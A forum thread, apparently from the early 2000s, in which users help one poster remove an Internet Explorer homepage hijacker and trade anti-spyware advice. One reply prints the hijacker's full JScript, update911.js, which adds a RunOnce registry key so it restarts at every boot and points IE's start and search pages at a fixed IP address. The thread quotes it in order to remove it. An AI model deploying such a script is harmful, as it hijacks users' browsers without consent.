Spyware hompage

[xtrmquestionx]

Ok I can not get rid of this. Everytime I restart my hompage for IE is http://81.211.105.9/index.php?v=1 I have used Ad-aware, hijackthis, and spybot. All 3 of them don't solve this problem. When I run them it fixes the problem but then I restart and its back.

 

[redduc900]

A file called update911.js is placed in your WinNT or Windows directory...content of the file:

--------------------------------------------------------------------------
var url = "http://81.211.105.9/index.php?v=1";
var burl = "http://81.211.105.9/search.php?v=1";
var fso = new ActiveXObject("Scripting.FileSystemObject");
var tfolder = fso.GetSpecialFolder(0);
var filepath = tfolder + "\\update911.js";
var Shell = new ActiveXObject("WScript.Shell");Shell.RegWrite("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\tlc",filepath);Shell.RegWrite("HKCU\\Software\\Microsoft\\InternetExplorer\\Main\\Start Page",url);Shell.RegWrite("HKCU\\Software\\Microsoft\\InternetExplorer\\Main\\Search Page",url);Shell.RegWrite("HKCU\\Software\\Microsoft\\InternetExplorer\\Main\\Search Bar",burl);Shell.RegWrite("HKCU\\Software\\Microsoft\\InternetExplorer\\Main\\Use Search Asst","no");Shell.RegWrite("HKCU\\Software\\Microsoft\\InternetExplorer\\Main\\Use Custom Search URL",1,"REG_DWORD")
--------------------------------------------------------------------------

It's also called out in the Registry...Start | Run | Type regedit and click OK | Make sure all the branches are collapsed, and "My Computer" is highlighted before doing a "Find" (Ctrl+F) | Search for update911.js and delete the Key(s) | Search for

http://81.211.105.9/index.php?v=1

and delete the Key(s) | Delete the file update911.js in your Windows folder.

 

[autoMATTic]

Have you ever heard of a program called Cool Web Shredder (CWShredder)? It is supposed to get rid of spyware to.

 

[acesea]

Some of these spyware/popup devices are ridiculous. Im pretty sure this is the same one I had about 2 weeks ago and I couldnt get rid of it either. Only thing that worked was system restore. What ticks me off is i KNOW i dont accept any of these apps or downloads yet every so often when I run adaware it finds more spyware on my pc. Whats up with that. IE must suck then if it allows all these bugs in so easily.

 

[jrbob]

If you are running XP make sure that you turn off SYSTEM RESTORE or else windows just might reinstall it, because it is being told that the app is needed.

 

[diehrd]

Make sure if you run XP or ME you turn off system restore before you clean out that spyware or other infection type files...

 

[N-Bandit]

God Im glad to see that others have the same problems that I do. Not trying to jinx you all, but I have been fighting with this same darn thing for a week now. I finally got rid of it this morning though.... delete main partition, re-Format and re-install win XP. Diddnt do this for the spyware problem, but it did fix it.

MIke

 

[El<(')>Maxi]

IE must suck then if it allows all these bugs in so easily.

There is no such thing as perfect security for the WWW. Only way to achieve it is on a box not connected to anything.

Port 80 baby. IP protocol among others requires two way communication from host to server. And the Idiot hackers out there love to exploit MS. After all 90% of us use MS OS/browser so it offers them the most abundant target.

If you do not have a firewall make sure you use XP's built in version. It's not perfect, but it helps. You can also set your security settings higher if you don't mind tossing your cookies. AV is a must, as well as critical updates.

 

[rayik]

SpyWare Info is a forum that specializes in helping people remove this stuff. It's at http://forums.spywareinfo.com/

You will get specific help if you d/l a program called HijackThis. You can get it from this page - http://www.spychecker.com/program/hijackthis.html Run it and post the log it creates on that forum. (You can also use search and chances are you are not the 1st person to hit by that.)

Another useful program noted by autoMATTic is Cool Web Shredder. D/L link is - http://www.merijn.org/files/cwshredder.zip

 

[DaWiper]

The easiest way around IE's security issues and holes is to just get another browser. I use Opera7.11(it's free) and I don't have such problems.

 

[fadirocks]

wat u talkin about I never had any Spyware problems but everybody else has oh yea forgot I used my firewall to totally block IE except for Microsoft windows update server I also blocked msgms.exe, explorer.exe and some other windows componenets. I use mozilla 1.5 (1.6 is out) and didn't see much problems with spyware ever. for the last 2 months everytime I run Spybot search and destroy shows my system is clean.

Here is something that you can try
run spybot search and destroy in advanced mode i.e. on ur desktop shortcut delete the extension /easymode and u'll get in the full power of spybot s&d and immunize the system! check other options in the program set it up the way you like and make sure that you don't block cookies that u need to use. Do updates of the spybot s&d u need that to block the new spywares! if you have notron antivirus look in the options and make sure that it would ask you for confirmation any time a script trying to access your files!

Beware of kazaa (if still exists), DivxBundle (pro ver) and other downloable softwares many contain the most evil annoying crap GATOR! I hate it so much i used to clean out my system manually from the registry!

oh yes forogot to add this
in your registry look for Run and Run once under [Hkey_blahblah]\current user(and check other users)\Software\Microsoft\windows\current version\run if it has folders actually called sub keys (thats what i think) but they look like folder just delete them and look at the rest of strings carefully some are for your anti virus , your firewall, win monitor tools such as ctfmon, your video card drivers helper and probably the rest are just junk or spywares
junk i.e MSN messanger, yahoo messanger, realplayer, quicktime player, aol messanger you get the idea they all want to run automatically as you start your OS heh

I hope this would help aaaaaaaaaaah